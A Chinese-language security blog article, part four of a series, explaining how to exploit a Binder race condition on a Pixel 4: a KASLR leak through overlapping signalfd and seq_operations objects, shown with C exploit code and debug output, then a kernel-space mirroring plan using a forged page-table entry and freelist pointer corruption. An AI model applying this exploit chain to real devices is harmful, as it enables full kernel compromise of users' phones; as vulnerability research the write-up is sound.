深入分析Binder中的单指令竞态条件漏洞(四)

2021-01-08 7,240

在本文中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。

 

(接上文)

 

KASLR泄露

 

在本节中,我们将利用两个重叠的signalfd来实现KASLR泄漏,这对我们的任意内核内存读/写原语非常有用。

 

现在我们需要找到这样的对象:发生重叠时,可以给我们提供一个函数指针。为此,我们可能会想到signalfd,因为它具有以下功能:

 

  • 我们可以在为其分配的地址处读取一个长度为8字节的值

  • 我们可以在为其分配的地址处写入几乎任意的8字节值(用signalfd写入值时,位8和18总是置1)

  • 它不会导致系统崩溃

 

这使得它能够很容易地与另一个在其前8字节中具有函数指针的对象进行配对。其中,一个主要的候选对象是seq_operations。

 

struct seq_operations {

    void * (*start) (struct seq_file *m, loff_t *pos);

    void (*stop) (struct seq_file *m, void *v);

    void * (*next) (struct seq_file *m, void *v, loff_t *pos);

    int (*show) (struct seq_file *m, void *v);

};

 

实际上,seq_operations的内存空间是在调用single_open函数期间分配的,而single_open函数则是在访问/proc文件系统的某些文件时进行调用的。对于这里的exploit来说,我们将使用/proc/self/stat。

 

这个文件是在proc_stat_init中创建的,打开这个文件时,将调用函数stat_open。

 

static int __init proc_stat_init(void)

{

    proc_create("stat", 0, NULL, &proc_stat_operations);

    return 0;

}

fs_initcall(proc_stat_init);

 

static const struct file_operations proc_stat_operations = {

    .open       = stat_open,

    .read       = seq_read,

    .llseek     = seq_lseek,

    .release    = single_release,

};

 

static int stat_open(struct inode *inode, struct file *file)

{

    unsigned int size = 1024 + 128 * num_online_cpus();

    /* minimum size to display an interrupt count : 2 bytes */

    size += 2 * nr_irqs;

    return single_open_size(file, show_stat, NULL, size);

}

 

在stat_open函数中,我们可以将会调用single_open_size函数,它随后将调用SINGLE_OPEN。

 

int single_open_size(struct file *file, int (*show)(struct seq_file *, void *),

        void *data, size_t size)

{

    char *buf = seq_buf_alloc(size);

    int ret;

    if (!buf)

        return -ENOMEM;

    ret = single_open(file, show, data);

    if (ret) {

        kvfree(buf);

        return ret;

    }

    ((struct seq_file *)file->private_data)->buf = buf;

    ((struct seq_file *)file->private_data)->size = size;

    return 0;

}

 

single_open将在kmalloc-128缓存中进行两次内存分配。第一次是为我们感兴趣的seq_operations分配内存,第二次是为seq_open中的seq_file分配内存。

 

在旧版本的内核中,这个seq_file对象才会在kmalloc-128缓存中分配空间;在当前版本中,该对象将使用自己的专用缓存分配空间。如果漏洞攻击发生在添加seq_file缓存之前的内核版本上,那么当我们实际需要seq_operations时,就有可能获得重叠对象的seq_file的分配空间。在实际操作中,我们只需要通过简单的启发式方法,不断重试并对结果进行过滤,直到得到我们想要的地址为止。这一点将在本节后面进一步详述。

 

int single_open(struct file *file, int (*show)(struct seq_file *, void *),

        void *data)

{

    struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);

    int res = -ENOMEM;

    if (op) {

        op->start = single_start;

        op->next = single_next;

        op->stop = single_stop;

        op->show = show;

        res = seq_open(file, op);

        if (!res)

            ((struct seq_file *)file->private_data)->private = data;

        else

            kfree(op);

    }

    return res;

}

 

在single_open中,op->start将被设置为single_start。由于signalfd允许我们读取重叠的对象的前8个字节,因此,single_start就是我们要读取的函数的地址,用以实现KASLR泄漏。

 

如前所述,我们还有可能获得seq_file的分配空间(甚至是由系统分配的空间)。在这种情况下,我们可以重试分配的seq_operations,直到我们检测到它起作用为止。在这种情况下,一种简单的启发式方法是将single_start函数内核偏移量减去signalfd读取的值,并检查16个最低有效位是否为零:

 

(kaslr_leak - single_start_offset) & 0xffff == 0

 

另一次分配的内存空间中的值,其前8个字节中的值不太可能满足这个条件。

 

注意:我们可以从/proc/kallsyms中检索Android设备上single_start函数的偏移量。

 

flame:/ # sysctl -w kernel.kptr_restrict=0

kernel.kptr_restrict = 0

 

flame:/ # grep -i -e " single_start$" -e " _head$" /proc/kallsyms

ffffff886c080000 t _head

ffffff886dbcfd38 t single_start

 

通过在类似于下面的函数中实现上面所说的逻辑,我们最终可以实现所需的KASLR泄漏并进入下一步。

 

int proc_self = open("/proc/self", O_RDONLY);

 

/* Releasing the signalfd object that was corrupted by our overlapping one */

if (corrupt_fd)

    close(corrupt_fd);

 

/* Checking the value read by the overlapping fd */

uint64_t = get_sigfd_sigmask(overlapping_fd);

debug_printf("Value @X after freeing `corrupt_fd`: 0x%lx", mask);

 

/* Allocating seq_operations objects so that it overlaps with our signalfd */

retry:

for (int i = 0; i < NB_SEQ; i++) {

    seq_fd[i] = openat(proc_self, "stat", O_RDONLY);

    if (seq_fd[i] < 0)

        debug_printf("Could not allocate seq ops (%d - %s)", i, strerror(errno));

}

 

/* Reading the value after spraying */

mask = get_sigfd_sigmask(overlapping_fd);

debug_printf("Value @X after spraying seq ops: 0x%lx", mask);

 

/* Checking if the KASLR leak read meets the condition */

kaslr_leak = mask - SINGLE_START;

if ((kaslr_leak & 0xffff) != 0) {

    debug_print("Could not leak KASLR slide");

 

    /* If not, we close all seq_fds are try again */

    for (int i = 0; i < NB_SEQ; i++) {

        close(seq_fd[i]);

    }

 

    goto retry;

}

 

/* If it works we display the KASLR leak */

debug_printf("KASLR slide: %lx", kaslr_leak);

 

结果如下所示:

 

[6957] exploit.c:371:trigger_thread_func(): Value @X after freeing `corrupt_fd`: 0x0

[6957] exploit.c:386:trigger_thread_func(): Value @X after spraying seq ops: 0x0

[6957] exploit.c:394:trigger_thread_func(): Could not leak KASLR slide

[6957] exploit.c:386:trigger_thread_func(): Value @X after spraying seq ops: 0x0

[6957] exploit.c:394:trigger_thread_func(): Could not leak KASLR slide

[6957] exploit.c:386:trigger_thread_func(): Value @X after spraying seq ops: 0x0

[6957] exploit.c:394:trigger_thread_func(): Could not leak KASLR slide

[6957] exploit.c:386:trigger_thread_func(): Value @X after spraying seq ops: 0xffffff9995bcfd38

[6957] exploit.c:405:trigger_thread_func(): KASLR slide: ffffff9994080000

 

使用KSMA实现任意内核读/写原语

 

漏洞利用的下一步,是使用KSMA实现任意读取/写入原语。该技术的要旨是在内核页面全局目录中添加一个条目,以将内核代码镜像到另一个位置,并设置特定的标志,以使其可以从用户态进行访问。

 

内核空间镜像攻击

 

该方法本身已在Thomas King的BlackHat Asia 2018演示文稿中进行了相应的描述,如果读者还不熟悉该方法的话,则请读者先阅读这份资料。

 

我们要向其中添加1Gb的内存块的内核页面全局目录(PGD)是通过符号swapper_pg_dir进行引用的:

 

flame:/ # grep -i -e " swapper_pg_dir" /proc/kallsyms

ffffff886f2***00 B swapper_pg_dir

 

The PGD can hold 0x200 entries and the the 1Gb blocks referenced start at address 0xffffff8000000000 (e.g. entry #0 spans from 0xffffff8000000000 to 0xffffff803fffffff). Since we don't want to overwrite an existing entry, we arbitrarily picked index 0x1e0, which corresponds to the address:

 

0xffffff8000000000 + 0x1e0 * 0x40000000 = 0xfffffff800000000

 

如果一切按预期进行,我们将能够使用这个基址从用户空间读写内核。

 

现在我们知道了目标虚拟地址,下面让我们计算出设备上内核的物理地址。它可以在/proc/iomem中通过搜索“kernel code”找到。如下所示,在我们的Pixel 4设备上,内核物理地址从0x80080000开始。注意,我们将映射到0x80000000,以符合块描述符以GB为单位的对齐标准。

 

flame:/ # grep "Kernel code" /proc/iomem

  80080000-823affff : Kernel code

 

下一步是创建一个块描述符来桥接内核的物理地址和可从用户空间访问的1GB虚拟内存区间。我们使用的方法是转储其中一个swapper_pg_dir条目,更改物理地址并设置(U) XN/PXN。我们得到了以下值:

 

0x00e8000000000751 | 0x80000000 = 0x00e8000080000751

 

我们已经在索引0x1E0处建立了要写入swapper_pg_dir的值,在接下来的部分中,我们将介绍如何使用slab的freelist指针将该描述符写入表中。

 

基于Freelist指针的任意写入

 

Freelist指针是指向slab中下一个空闲对象的指针。当从slab缓存中释放对象时,分配器将首先在被释放对象的开头处写入当前freelist指针。之后,它将更新freelist指针以指向新释放的内存区域。

 

1.png

 

如果请求分配内存,则会发生相反的过程。分配器将在freelist指针指向的地址处进行内存空间的分配,然后在分配的内存区域的前8个字节中读取新的freelist指针。

 

1.png

 

但是,如果我们能够篡改写在slab中的freelist指针,那么我们就可以在任意地址分配一个对象。

 

1.png

 

了解这一点后,我们对应的策略为:

 

  • 使signalfd与释放的对象相互重叠

  • 修改freelist指针以指向swapper_pg_dir条目

  • 使用我们的块描述符0x00e8000080000751分配signalfd

 

当然,事情并不像看起来那样容易,因为在写入值时signalfd设置了第8和18位。不过,这不会影响块描述符,因为对齐1Gb的内存块时,第8位已经设置并且第18位将被丢弃。但是,根据其值,可能无法用signalfd写入swapper_pg_dir的地址。就本例来说,在Pixel 4的出厂映像QQ3A.200805.001上,swapper_pg_dir的地址将始终以***00结尾。如果我们要用signalfd来写这个地址,因此与PGD中选择的索引无关,那么我们总是以一个以b5xxx|40100 = f5xxx的地址结尾,所以实际上会丢失0x40000字节。虽然并非所有内核都是这样(例如某些版本的Android可能具有以f5000结尾的swapper_pg_dir偏移量),但在Pixel 4设备上是不通用的。

 

1.png

 

为了克服这个问题,我们将分两个阶段完成内存分配,具体如下一节所述。

 

 

小结

在本系列文章中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。由于篇幅过长,我们将分多篇文章发表,更多精彩内容,敬请期待!

 

(未完待续)


本文作者:mssp299

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/151026.html

Tags:
评论  (0)
快来写下你的想法吧!

mssp299

文章数:51 积分: 662

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号